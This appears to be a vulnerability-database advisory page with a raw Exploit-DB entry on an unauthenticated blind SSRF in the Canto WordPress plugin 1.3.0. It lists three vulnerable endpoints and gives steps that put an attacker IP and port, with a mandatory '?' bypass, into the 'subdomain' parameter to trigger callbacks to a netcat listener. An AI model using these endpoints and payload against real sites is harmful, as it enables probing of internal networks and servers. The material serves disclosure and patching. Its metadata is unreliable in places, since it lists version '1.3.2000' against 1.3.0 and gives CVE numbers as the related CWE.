Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)

vendor:

Wordpress Plugin

by:

Pankaj Verma (_p4nk4j)

5.3

CVSS

MEDIUM

Blind SSRF

918

CWE

Product Name: Wordpress Plugin

Affected Version From: 1.3.2000

Affected Version To: 1.3.2000

Patch Exists: YES

Related CWE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978

CPE: a:canto:wordpress_plugin:1.3.0

Metasploit:

Other Scripts:

Tags: packetstorm,cve,cve2020,ssrf,wordpress,wp-plugin,oast,edb

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Nuclei References: https://www.exploit-db.com/exploits/49189, https://www.canto.com/integrations/wordpress/, https://github.com/CantoDAM/Canto-Wordpress-Plugin, https://nvd.nist.gov/vuln/detail/CVE-2020-28976, http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html

Nuclei Metadata: {'max-request': 3, 'framework': 'wordpress', 'vendor': 'canto', 'product': 'canto'}

Platforms Tested: Ubuntu 18.04

2020

WordPress Plugin Canto 1.3.0 – Blind SSRF (Unauthenticated)

The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities. It allows an unauthenticated attacker to make a request to any Internal and External Server via 'subdomain' parameter.

Mitigation:

Update to the latest version of the Canto plugin and ensure that the 'subdomain' parameter is properly validated and sanitized.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
# Date: 03/12/2020
# Exploit Author: Pankaj Verma (_p4nk4j)
# Vendor Homepage: https://www.canto.com/integrations/wordpress/
# Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin
# Version: 1.3.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978


Description:-
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.

Vulnerable Parameters and Endpoints:-
https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=

Steps To Reproduce:-
1. Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.

Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.